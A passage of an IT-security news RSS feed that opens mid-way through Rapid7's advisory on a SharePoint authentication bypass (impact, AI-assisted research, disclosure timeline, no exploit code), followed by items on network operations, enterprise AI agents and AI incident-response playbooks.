href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" target="_blank"><span>5.3 (Medium)</span></a><span>, and a Common Weakness Enumeration (CWE) of </span><a href="https://cwe.mitre.org/data/definitions/1390.html" target="_blank"><span>CWE-1390: Weak Authentication</span></a><span>.</span></p><h2>Product description</h2><p><span>Microsoft </span><a href="https://www.microsoft.com/en-ie/microsoft-365/sharepoint/collaboration" target="_blank"><span>SharePoint</span></a><span> is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.</span></p><h2>Impact</h2><p><span>By leveraging CVE-2026-55040, a remote unauthenticated attacker can assume the identity of any SharePoint site user; the prerequisite is the attacker must know in advance the user they wish to identify as. This can be achieved in a number of ways, including via a user’s Active Directory (AD) Security ID (SID), or via a user’s AD User Principal Name (UPN). A UPN is the primary logon name for a user in either Windows AD or Microsoft Entra ID, and is formatted similar to that of an email address, e.g. </span><span><span data-type="inlineCode">administrator@domain.local</span></span><span>.</span></p><p><span>In the example screenshot below, with identifying information redacted, a Rapid7 Labs proof-of-concept script discovers potential SharePoint users via SID enumeration and then leverages CVE-2026-55040 to bypass authentication on the target SharePoint site to assume the identity of that user — ultimately identifying the SharePoint site administrator user account.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd61e853d8fb01e47/6a5541d6d0cfb04dede7bd58/Rapid7-Labs-PoC-CVE-2026-55040.png" alt="Rapid7-Labs-PoC-CVE-2026-55040.png" caption="Figure 1: The Rapid7 Labs PoC for CVE-2026-55040." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Rapid7-Labs-PoC-CVE-2026-55040.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd61e853d8fb01e47/6a5541d6d0cfb04dede7bd58/Rapid7-Labs-PoC-CVE-2026-55040.png" data-sys-asset-uid="bltd61e853d8fb01e47" data-sys-asset-filename="Rapid7-Labs-PoC-CVE-2026-55040.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: The Rapid7 Labs PoC for CVE-2026-55040." data-sys-asset-alt="Rapid7-Labs-PoC-CVE-2026-55040.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.</figcaption></div></figure><p>⠀</p><p><span>An attacker who successfully exploits CVE-2026-55040 can perform operations against the target SharePoint site as the user they identify as. Furthermore, this authentication bypass can be chained to additional vulnerabilities within the authenticated attack surface of the target site.</span></p><p><span>Rapid7 Labs has chained the authentication bypass CVE-2026-55040 with a separate RCE vulnerability for unauthenticated RCE. Patching CVE-2026-55040 will successfully break this exploit chain. The RCE component has been disclosed to Microsoft and is expected to be patched in the scheduled August patch cycle. The chaining of vulnerabilities highlights that even though the authentication bypass has been assigned a medium severity CVSS score by Microsoft, the impact of successfully chaining a medium severity authentication bypass to an RCE component is significant. This also underscores the importance of patching vulnerabilities such as authentication bypasses, which can break complex and high impact exploit chains.</span></p><h2>Leveraging AI</h2><p><span>To develop our SharePoint exploit chain, Rapid7 Labs undertook a research project divided into two main sprints, the first in January and the second in March, 2026. While both sprints did encompass more traditional vulnerability research such as manual code review and reverse engineering, a significant amount of the work was undertaken through an agent. Over 24 active days of agentic work, we leveraged 96 sessions, issued 256 prompts, and generated approximately 80,000 agentic tool calls.</span></p><p><span>The initial January sprint was unsuccessful, resulting in no findings that could be leveraged for an exploit chain. We used this sprint to experiment with several different publicly available models, along with different workflows to navigate and reason across a massive and complex codebase. However, our second sprint in March was successful and yielded, through a heavily prompted agent, a two-vulnerability exploit chain that achieved unauthenticated RCE.</span></p><p><span>The improvement in quality between January and March in terms of agentic work, along with our improved workflows, was noticeable. This highlights the speed at which this field is evolving, how publicly available models are improving, and how as research teams develop their workflows, the results begin to compound.</span></p><h2>Credit</h2><p><span>This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with </span><a href="https://www.rapid7.com/security/disclosure" target="_self"><span>Rapid7's vulnerability disclosure policy</span></a><span>.</span></p><h2>Vendor statement</h2><p><span>The following statement has been provided by Microsoft:</span></p><p><span><em>“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”</em></span></p><h2>Technical analysis</h2><p><span>Rapid7 will be publishing full technical details for CVE-2026-55040 within 30 days of this disclosure.</span></p><h2>Remediation</h2><p><span>Customers are advised to apply the latest available </span><a href="https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates" target="_blank"><span>updates</span></a><span> for the impacted product to ensure they are protected.</span></p><h2>Rapid7 customers</h2><p>Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-55040 with Authenticated vulnerability checks available in the July 14 content release</p><h2>Disclosure timeline</h2><ul><li><p><span><strong>May 18, 2026:</strong></span><span> Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.</span></p></li><li><p><span><strong>May 20, 2026:</strong></span><span> Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles - the authentication bypass component in July, and the RCE component in August.</span></p></li><li><p><span><strong>May 21, 2026:</strong></span><span> Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.</span></p></li><li><p><span><strong>May 29, 2026:</strong></span><span> Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.</span></p></li><li><p><span><strong>June 30, 2026:</strong></span><span> Rapid7 requests supporting information for the upcoming disclosure.</span></p></li><li><p><span><strong>June 30, 2026:</strong></span><span> Microsoft provides supporting information to Rapid7.</span></p></li><li><p><span><strong>July 14, 2026:</strong></span><span> This disclosure for CVE-2026-55040.</span></p></li></ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Download: The ultimate guide to network operations management]]></title>
<description><![CDATA[Modern network operations are too manual. Today’s IT and security teams are managing growing complexity across networks, infrastructure, tools, and workflows. The result? Slower response, duplicated effort, and operational friction. This guide explores how intelligent workflows help teams reduce ...]]></description>
<link>https://tsecurity.de/de/3668012/it-security-nachrichten/download-the-ultimate-guide-to-network-operations-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668012/it-security-nachrichten/download-the-ultimate-guide-to-network-operations-management/</guid>
<pubDate>Tue, 14 Jul 2026 15:08:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Modern network operations are too manual. Today’s IT and security teams are managing growing complexity across networks, infrastructure, tools, and workflows. The result? Slower response, duplicated effort, and operational friction. This guide explores how intelligent workflows help teams reduce manual work, improve visibility, and move faster across network operations. What you’ll learn: Why traditional approaches to network operations struggle to scale Where operational bottlenecks create delays, inefficiencies, and risk How intelligent workflows connect teams, systems, … <a href="https://www.helpnetsecurity.com/2026/07/14/tines-network-operations-management-guide/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/14/tines-network-operations-management-guide/">Download: The ultimate guide to network operations management</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building cyber-resilient AI in the enterprise]]></title>
<description><![CDATA[AI attacks and breaches hit differently than traditional attacks, and therefore require more than traditional controls. The best defense requires planning for cyber-resilience.]]></description>
<link>https://tsecurity.de/de/3667777/it-security-nachrichten/building-cyber-resilient-ai-in-the-enterprise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667777/it-security-nachrichten/building-cyber-resilient-ai-in-the-enterprise/</guid>
<pubDate>Tue, 14 Jul 2026 13:37:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI attacks and breaches hit differently than traditional attacks, and therefore require more than traditional controls. The best defense requires planning for cyber-resilience.]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI agents are shaping the future of work]]></title>
<description><![CDATA[I attended several major technology conferences in 2025 where the first AI agents embedded in enterprise SaaS platforms were announced. Some of these agents showed promise and a glimpse into the future of work, while others looked like natural language extensions of a platform’s existing function...]]></description>
<link>https://tsecurity.de/de/3667534/it-security-nachrichten/how-ai-agents-are-shaping-the-future-of-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667534/it-security-nachrichten/how-ai-agents-are-shaping-the-future-of-work/</guid>
<pubDate>Tue, 14 Jul 2026 12:07:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I attended several major technology conferences in 2025 where the first AI agents embedded in enterprise SaaS platforms were announced. Some of these agents showed promise and a glimpse into the future of work, while others looked like natural language extensions of a platform’s existing functionality.  </p>



<p class="wp-block-paragraph">At the end of 2025, Anthropic and OpenAI launched new AI models and code-generating capabilities. More developers tried <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and some platforms launched <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development capabilities</a>. By February 2026, even The New York Times reported that <a href="https://www.nytimes.com/2026/02/18/opinion/ai-software.html">the AI disruption had arrived</a>, noting that code generators were building “apps that may be flawed, but credible.”</p>



<p class="wp-block-paragraph">Wall Street investors took notice of the code-generation improvements and other disruptive factors, driving a selloff in SaaS stocks, now referred to as the “<a href="https://www.bloomberg.com/news/articles/2026-02-03/-get-me-out-traders-dump-software-stocks-as-ai-fears-take-hold">SaaSpocalypse</a>.” Part of their concern stemmed from the belief that CIOs would use AI to <a href="https://www.cio.com/article/4148303/cios-rethink-softwares-future-as-ai-agents-advance.html">write software that would replace SaaS solutions</a>.</p>



<h2 class="wp-block-heading">AI innovations from SaaS and solution providers</h2>



<p class="wp-block-paragraph">But I thought differently and wrote a response in my article asking whether <a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is the end of SaaS as we know it</a>. CIOs might use AI to accelerate application modernization, but I doubt they would replace their ERP, CRM, and even smaller SaaS point solutions by building them.</p>



<p class="wp-block-paragraph">Instead, I believed it would be SaaS companies that would take the most advantage of AI code-generation capabilities.</p>



<p class="wp-block-paragraph">This hypothesis drove me to attend nine conferences this spring to see how SaaS companies were launching AI agents and defining a new future of work. I wrote eight articles on <a href="https://drive.starcio.com/cios-need-to-know">what CIOs need to know</a> about data management, agile organizations, marketing, ERPs, critical process management, and other evolutions to plan for in the AI era.</p>



<p class="wp-block-paragraph">Now, looking across all nine conferences, I can draw some conclusions about how AI agents are shaping the future of work. Here are my learnings and what CIOs need to consider when evaluating and deploying AI agents in the workplace.</p>



<h2 class="wp-block-heading">Agentic, human-in-the-middle, or augmenting human?</h2>



<p class="wp-block-paragraph">SaaS companies have very distinct perspectives on the future of work, including the extent to which humans will play which roles and whether and how quickly we’ll see agentic, fully automated work.</p>



<p class="wp-block-paragraph">For example, Atlassian proclaimed, “<a href="https://www.atlassian.com/company/events">step into the future of human-AI collaboration</a>,” while SAP unveiled “<a href="https://news.sap.com/2026/05/sap-sapphire-sap-unveils-autonomous-enterprise/">the autonomous enterprise</a>.” Snowflake aimed to “<a href="https://www.snowflake.com/en/summit/">make AI real for business</a>,” while Appian targeted “<a href="https://www.appianworld.com/">serious AI built on process</a>.”</p>



<p class="wp-block-paragraph">These vendors’ marketers had to decide whether to lead with AI, people, or business in their messaging, but so must CIOs as they contemplate their AI strategies and how to get employees to fully adopt AI agents.</p>



<p class="wp-block-paragraph">Some CIOs see a fully automated agentic AI as the future, with human-in-the-middle as a transitional phase as departments build trust in AI agents’ decision-making and automation capabilities.</p>



<p class="wp-block-paragraph">Other CIOs see AI more as a tool that delivers productivity improvements by augmenting human decision-making capabilities. Many of these CIOs see human augmentation as essential to supporting critical thinking, innovation, and creativity.</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Deloitte’s State of AI Report</a>, published in January, provides a benchmark. It states that 36% of IT leaders expect at least 10% of their jobs to be fully automated in the next year, and 82% expect to reach that benchmark in three years.</p>



<p class="wp-block-paragraph">Many organizations will have a mix of AI agents, choosing automation where reliability at scale is possible, but opting for human augmentation in operationally critical or customer-facing domains. But how CIOs position AI agents is not only an operational strategy; it’s also a cultural statement that shapes employees’ embrace of AI and whether <a href="https://drive.starcio.com/2026/03/ai-leadership-job-at-risk-or-career-opportunity/">detractors vocalize job-loss fears</a>.</p>



<p class="wp-block-paragraph">In the short term, it will also weigh in on which AI agents to use from different partners and which areas to build in-house.</p>



<h2 class="wp-block-heading">Many options to test and deploy AI agents</h2>



<p class="wp-block-paragraph">Many solution providers are demonstrating significantly more AI agents this year. For example, SAP went from <a href="https://drive.starcio.com/2026/05/autonomous-enterprise-ai-cios/">40 Joule Agents in 2025 to over 200 in 2026.</a> Three technology capabilities are fueling this significant growth:</p>



<ul class="wp-block-list">
<li>Adobe, Appian, Boomi, Cisco, Domo, Salesforce, SAP, Snowflake, and others offer <a href="https://www.infoworld.com/article/3497094/does-your-organization-need-a-data-fabric.html">data fabrics</a> and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data-pipeline</a> capabilities to connect data sources outside the primary workflows supported by their platforms. Appian, Pega, Quickbase, and SAP also centralize business process automation, an important starting point for developing AI agents.  </li>



<li><a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">MCP servers</a> enable integration and communication between AI agents and are used to facilitate multistep agentic workflows. Virtually all the companies announcing major investments in AI agents are also announcing MCP integration capabilities and related partnerships.</li>



<li>Solution providers are not just using AI code-generating capabilities; many are launching their own AI agent development tools. The first beneficiaries of these development tools are the solution providers themselves and their integration partners, who use them to accelerate the development of AI agents and make them available to customers.</li>
</ul>



<p class="wp-block-paragraph">The result is that <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">CIOs will have many options about which agents to test</a>, but will have to dedicate analysts to understand the capability, cost, and compliance trade-offs. Additionally, expect AI agent capabilities to evolve significantly over the next few years, so CIOs should continuously revisit their decisions regarding deployed AI agents, focusing on performance, benefits, and ROI.</p>



<p class="wp-block-paragraph">CIOs should also watch for signs of <a href="https://www.cio.com/article/1247890/7-steps-for-turning-shadow-it-into-a-competitive-edge.html">shadow AI</a> and employee confusion about which AI agents to experiment with on different platforms. The AI strategy should include a transparent, defined process for selecting, reviewing, evaluating, procuring, deploying, driving adoption, monitoring, and collecting end-user feedback around AI agents.</p>



<h2 class="wp-block-heading">AI development capabilities for engineers and citizen builders</h2>



<p class="wp-block-paragraph">The apparent ease-of-use of AI code generators may lead some engineering teams to <a href="https://www.cio.com/article/4097339/your-next-big-ai-decision-isnt-build-vs-buy-its-how-to-combine-the-two.html">build AI agents rather than buy them</a> from SaaS providers. But CIOs should quickly realize that coding is just one step in developing AI agents, and that aggressively pursuing a build strategy can lead to <a href="https://www.cio.com/article/4178324/7-sources-of-ai-debt-and-how-to-avoid-them.html">AI debt</a> and <a href="https://www.cio.com/article/4107377/cios-will-underestimate-ai-infrastructure-costs-by-30.html">increased AI costs</a>.</p>



<p class="wp-block-paragraph">DevOps teams can code AI agents using tools such as Claude, Codex, Lovable, and Replit — a do-it-yourself approach. Some SaaS companies are providing an alternative, with AI agent development tools that leverage the data, infrastructure, and governance baked into their platforms. Many of these development tools offer flexibility, allowing developer teams to select AI models and development environments.</p>



<p class="wp-block-paragraph">Examples of new and enhanced AI development tools I saw at conferences this quarter include:</p>



<ul class="wp-block-list">
<li><a href="https://appian.com/blog/2025/appian-25-4-release-enterprise-ai-agents">Appian Composer and Agent Studio</a></li>



<li><a href="https://www.atlassian.com/software/rovo-dev">Atlassian Rovo Dev</a></li>



<li><a href="https://boomi.com/platform/companion/">Boomi Companion</a></li>



<li><a href="https://www.cisco.com/site/us/en/solutions/artificial-intelligence/agentic-ops/cloud-control-studio/index.html">Cisco Cloud Control Studio</a></li>



<li><a href="https://www.domo.com/app-catalyst">Domo App Catalyst</a></li>



<li><a href="https://www.pega.com/about/news/press-releases/pega-harnesses-best-practices-and-ai-coding-agents-build-apps-mission">Pega Infinity Studio</a></li>



<li><a href="https://www.quickbase.com/pave">Quickbase Pave</a></li>



<li><a href="https://www.snowflake.com/en/product/snowflake-coco/">Snowflake CoCo</a></li>



<li><a href="https://www.sap.com/products/artificial-intelligence/joule-studio.html">SAP Joule Studio</a>.</li>
</ul>



<p class="wp-block-paragraph">I also reviewed <a href="https://www.nutanix.com/solutions/ai">Nutanix Agentic AI</a>, a platform-as-a-service for accelerating the deployment of agentic AI workloads, and <a href="https://www.adobe.com/products/firefly/features/ai-assistant.html">Adobe Firefly AI Assistant</a> for creatives.</p>



<p class="wp-block-paragraph">These development tools can target different audiences. Some look like low-code development tools targeted at software developers, whereas others are <a href="https://drive.starcio.com/2026/05/low-code-in-the-ai-era-cios-need-to-know/">no-code and enable citizen developers</a>, i.e., businesspeople, to <a href="https://www.cio.com/article/4176062/cios-are-enlisting-business-users-to-vibe-code-their-own-apps.html">develop applications and agents</a>. Additionally, some of these tools support spec-driven development and generate artifacts such as product requirement documents (PRDs), data models, and testing capabilities.</p>



<p class="wp-block-paragraph">Before commissioning AI development for apps and agents, CIOs should sponsor proofs of technical, data, modeling, security, and governance capabilities.</p>



<h2 class="wp-block-heading">The context layer powering AI agents</h2>



<p class="wp-block-paragraph">Between AI agents and the enterprise’s intelligence, including structured data sources, defined business processes, and agent interactions (both human-to-agent and agent-to-agent), lies an evolving “context layer.”</p>



<p class="wp-block-paragraph">This layer refers to the enterprise knowledge that AI agents draw on when evaluating signals and recommending or taking actions. Context may include a knowledge graph, a semantic layer, cleansed document repositories, and other knowledge bases.</p>



<p class="wp-block-paragraph">The context layer, skills, tools, out-of-the-box agents, and governance capabilities are some areas to review where solution providers differentiate. Some examples: </p>



<ul class="wp-block-list">
<li>Many support the <a href="https://open-semantic-interchange.org/">Open Semantic Interchange</a>, and some brand their context layers, such as the <a href="https://www.atlassian.com/platform/teamwork-graph">Atlassian Teamwork Graph</a>, <a href="https://boomi.com/knowledge-hub-early-access/">Boomi Knowledge Hub</a>, and the <a href="https://www.sap.com/products/artificial-intelligence/knowledge-graph.html">SAP Knowledge Graph</a>.</li>



<li>Some are branding their guardrails, such as <a href="https://business.adobe.com/products/brand-intelligence.html">Adobe’s AI Brand Intelligence</a>, <a href="https://appian.com/products/platform/artificial-intelligence">Appian’s Private AI</a>, and <a href="https://www.quickbase.com/intelligence-pack/ai-control-center">Quickbase AI Control Center</a>.</li>



<li>To manage AI agents at scale, some are extending the notion of data catalogs and other governance tools to the AI domain with products such as <a href="https://boomi.com/platform/connect/">Boomi Connect</a>, <a href="https://www.sap.com/products/artificial-intelligence/ai-agent-hub.html">SAP AI Agent Hub</a>, and <a href="https://www.snowflake.com/en/product/features/horizon/">Snowflake Horizon Catalog</a>.</li>
</ul>



<p class="wp-block-paragraph">CIOs should recognize that while solution providers will compete on capabilities, the real “secret sauce” of the context layer lies in the company’s trusted data, well-defined business processes, and employee adoption of AI agents.</p>



<h2 class="wp-block-heading">Conversational user experiences and coworkers</h2>



<p class="wp-block-paragraph">AI agents use the context layer, but also tap into skills, which encode the procedures they can follow, and tools, which prescribe the actions they can take. Before AI agents are ready to pilot, their governance, including permissions, approval gates, and other guardrails, must be defined. Other capabilities to look for when defining AI agents include orchestration, testing evals, and observability.</p>



<p class="wp-block-paragraph">In 2025, many solution providers bolted on AI agents to their existing user experiences. This year, many solution providers showcased new conversational user experiences that employees can use instead of traditional ones built with forms, flows, reports, and static dashboards. Conversational user experiences are where AI agents and people come together, whether it’s human-in-the-middle or human augmentation.</p>



<p class="wp-block-paragraph">Solution providers also grouped their AI agents into assistants or coworkers. For example, <a href="https://business.adobe.com/products/cx-enterprise-coworker.html">Adobe CX Coworker</a> illustrates human augmentation, helping marketers manage campaigns with prompts and monitor their performance. SAP launched <a href="https://www.sap.com/products/artificial-intelligence/ai-assistant.html">Joule Assistants</a> across several business functions, including finance, human capital, supply chain, and customer experience. Other assistants, such as <a href="https://docs.appian.com/suite/help/26.5/appian-ai-copilot.html">Appian AI Copilot</a>, <a href="https://www.atlassian.com/software/rovo">Atlassian Rovo</a>, <a href="https://www.cisco.com/site/us/en/solutions/artificial-intelligence/ai-assistant/index.html">Cisco AI Assistant</a>, <a href="https://www.nutanix.com/blog/nutanix-intelligent-virtual-agent">Nutanix NIVA</a>, and <a href="https://www.snowflake.com/en/product/snowflake-cowork/">Snowflake CoWork</a>, offer AI-first user experiences to assist different end-user types.</p>



<p class="wp-block-paragraph">CIOs should demo these <a href="https://www.infoworld.com/article/4178415/what-will-ai-first-ux-look-like.html">AI-first user experiences</a> to glimpse the future of work.</p>



<p class="wp-block-paragraph">Developers are already getting used to these experiences through code generators and vibe coding tools. Now, similar capabilities are being tailored across all business functions. CIOs should ramp up their <a href="https://www.cio.com/article/4082282/preparing-your-workforce-for-ai-agents-a-change-management-guide.html">change management programs</a> to accelerate the adoption of these AI capabilities.</p>



<p class="wp-block-paragraph">Solution providers are showcasing AI capabilities that can help CIOs <a href="https://drive.starcio.com/2026/04/ai-reshaping-business-not-digital-transformation-yet/">reshape their businesses</a>. But in Q2, there were only a few examples of how AI can help CIOs drive growth, evolve business models, or embed AI into customer-facing products. I expect to see a wave of further AI innovations that will go beyond productivity improvements and efficiencies and help CIOs pursue <a href="https://drive.starcio.com/2025/02/cios-drive-genai-digital-transformation/">growth-driving digital transformation strategies</a>.  </p>



<p class="wp-block-paragraph"><em>Sacolick travelled to conferences mentioned in this article as a guest of Adobe, Appian, Atlassian, Domo, Nutanix, SAP, and Snowflake. In addition, he was hired by Quickbase to speak at its conference.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI incidents need a new playbook. Here’s how to build one]]></title>
<description><![CDATA[Seventy-one percent of organizations say AI has access to core business systems. Only 16% govern that access effectively, according to the 2026 CISO AI Risk Report. Ask your IR team three questions: Where is your AI system inventory? What happens if a production model starts generating harmful ou...]]></description>
<link>https://tsecurity.de/de/3667390/it-security-nachrichten/ai-incidents-need-a-new-playbook-heres-how-to-build-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667390/it-security-nachrichten/ai-incidents-need-a-new-playbook-heres-how-to-build-one/</guid>
<pubDate>Tue, 14 Jul 2026 11:08:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Seventy-one percent of organizations say AI has access to core business systems. Only 16% govern that access effectively, <a href="https://www.cybersecurity-insiders.com/2026-ciso-ai-risk-report/">according to the 2026 CISO AI Risk Report</a>. Ask your IR team three questions: Where is your AI system inventory? What happens if a production model starts generating harmful outputs? Who has the authority to take it offline?</p>



<p class="wp-block-paragraph">I’ve spent 14 years in security — energy, banking, telecom, manufacturing. Red team work, detection programs and the last several years focused on AI risk and ShadowAI. What I see consistently: Organizations have AI in production, they have an IR playbook and they think those two things are connected. They’re not.</p>



<p class="wp-block-paragraph">The CISO who thinks their IR playbook covers AI incidents probably hasn’t tested it. The ones who have tested it know it doesn’t.</p>



<h2 class="wp-block-heading">Two kinds of AI incident — and why that split matters more than the list</h2>



<p class="wp-block-paragraph">AI incidents <a href="https://www.glacis.io/guide-ai-incident-response">surged 56.4% from 2023 to 2024, reaching 233 documented cases</a>. Most IR frameworks — including NIST SP 800-61, MITRE ATLAS and the GLACIS AI Incident Response Playbook — provide you with a taxonomy of six incident types and stop there. While useful, it misses the more important split: Failures the model causes on its own, versus failures caused by a human. Your detection approach, your containment logic and your legal exposure are very different between those two groups.</p>



<p class="wp-block-paragraph">Model-originated failures — degradation, bias, hallucinations — happen when the system does exactly what it was built to do, just badly. The Epic Sepsis Model, deployed across hundreds of US hospitals, had a sensitivity of only 33% at external validation. It missed two-thirds of actual sepsis cases and flooded physicians with false alerts, <a href="https://doi.org/10.1001/jamainternmed.2021.2626">as a 2021 JAMA Internal Medicine study found</a>. No one attacked it. It just quietly stopped working while every dashboard stayed green.</p>



<p class="wp-block-paragraph">Externally induced failures — adversarial attacks, data poisoning, privacy breaches — happen when someone corrupts the inputs or the training environment. Tesla’s Autopilot phantom braking cases, <a href="https://www.glacis.io/guide-ai-incident-response">investigated by NHTSA across hundreds of thousands of vehicles</a>, show what adversarial input failures look like in a safety-critical system. These two groups need different primary defenses and their own playbooks.</p>



<p class="wp-block-paragraph">Then there is the hybrid case, which carries the most legal exposure right now. Hallucinations are model-originated but they land in court like human errors. When Air Canada’s chatbot invented a bereavement fare policy, <a href="https://decisions.civilresolutionbc.ca/crt/crtd/en/item/519/index.do">the airline was held liable</a>. When a US federal court let <a href="https://law.justia.com/cases/federal/district-courts/california/candce/3:2023cv01924/414830/96/">Mobley v. Workday</a> proceed, it accepted that an AI hiring platform could be directly liable as an ‘agent’ of the employers using it. Neither failure looked like a security incident. Both ended up as legal ones. If your legal team is not on your IR call tree, your playbook is already incomplete.</p>



<h2 class="wp-block-heading">The CIA triad doesn’t cover a hallucination</h2>



<p class="wp-block-paragraph">The CIA triad — confidentiality, integrity, availability — does not apply to most AI incidents. When Air Canada’s chatbot made up a policy, nothing was unavailable, nothing was changed without authorization, nothing was disclosed. The framework simply doesn’t reach it. When the Epic Sepsis Model missed two-thirds of cases, there was no breach, no intrusion, no indicator of compromise. By every traditional IR metric, the system looked fine.</p>



<p class="wp-block-paragraph">This is not an edge case. Classical IR frameworks assume deterministic failures with static indicators of compromise — an assumption <a href="https://doi.org/10.3390/jcp6010020">that breaks down against probabilistic systems</a>. Microsoft’s Security Blog said it well in April 2026: A model may produce harmful output today and something completely different from the same prompt tomorrow. The root cause is not a line of code. It is a probability distribution, and <a href="https://www.microsoft.com/en-us/security/blog/2026/04/15/incident-response-for-ai-same-fire-different-fuel/">as Microsoft’s Security Blog put it</a>, you cannot patch a probability distribution.</p>



<p class="wp-block-paragraph">The numbers confirm the gap. Average AI incident detection time is 4.5 days. <a href="https://www.glacis.io/guide-ai-incident-response">Sixty-seven percent of AI incidents come from model errors, not adversarial attacks</a> — yet security budgets keep funding perimeter tools built for the latter. We are looking for the wrong signals, with the wrong tools, for the wrong failure modes.</p>



<h2 class="wp-block-heading">What a mature AI IR capability looks like</h2>



<p class="wp-block-paragraph">I get asked this at every conference I speak at. Here is the short answer: Three things that mature teams have in place before any incident occurs.</p>



<p class="wp-block-paragraph">First, an AI Bill of Materials (AIBOM) for every production system. Think of it like a software SBOM, but for AI: It documents the base model, training datasets, third-party dependencies and the full component stack. Without it, you don’t know what your AI is made of — and you can’t investigate a data poisoning incident or a supply chain compromise without that baseline. The OWASP GenAI Security Project released an <a href="https://genai.owasp.org/resource/owasp-aibom-generator/">open-source AIBOM generator</a> in December 2025 that produces output in CycloneDX format aligned with SPDX standards. It is practical to implement now.</p>



<p class="wp-block-paragraph">Second, a model card for every production AI system — not a document in a shared drive nobody opens, but something your IR team can pull up in the first ten minutes of a response. Training data provenance. Model version. Known performance limits, including which subpopulations showed weaker accuracy in testing. Access controls. Blast radius if it fails. Most organizations I work with have model documentation written for data scientists that no one in security can use at 2am. That is not documentation. That is liability.</p>



<p class="wp-block-paragraph">Third, a named data scientist on the IR call tree. Not someone to brief after the incident — someone with authority to interrogate model behavior in real time. Traditional IR has a network engineer on call. AI IR needs the same logic applied to the people who understand how the failing system works.</p>



<p class="wp-block-paragraph">A fourth thing that very few teams have: A documented rollback threshold for each deployed model. A pre-agreed definition of what anomaly rate, drift metric or fairness deviation triggers containment or a fallback switch. Teams without this spend the first hours of an AI incident debating whether what they are seeing is actually a problem. Teams with a threshold spend those hours responding.</p>



<h2 class="wp-block-heading">Four things to do before the next incident</h2>



<p class="wp-block-paragraph">Rewrite your detection triggers. Output anomaly scoring, data distribution monitoring for drift and behavioral tracking of model API usage need to be in your detection layer. They will not come from your SIEM. This is instrumentation work at the AI system level.</p>



<p class="wp-block-paragraph">Redefine containment. For most AI incidents, ‘isolate the system’ is the wrong first move. Switching to a rule-based fallback while keeping the service running may cause less harm than taking the system offline and triggering a business escalation. Each deployed model needs pre-defined rollback criteria and a named fallback. Write those down now.</p>



<p class="wp-block-paragraph">Get legal in the room before the incident. <a href="https://law.justia.com/cases/federal/district-courts/california/candce/3:2023cv01924/414830/96/">Mobley v. Workday</a> means both the AI vendor and the deploying organization can carry liability for bias incidents. <a href="https://decisions.civilresolutionbc.ca/crt/crtd/en/item/519/index.do">Air Canada</a> means you cannot disclaim what your AI says to a customer. If your legal team is learning about an AI incident from a press inquiry, something has already gone wrong.</p>



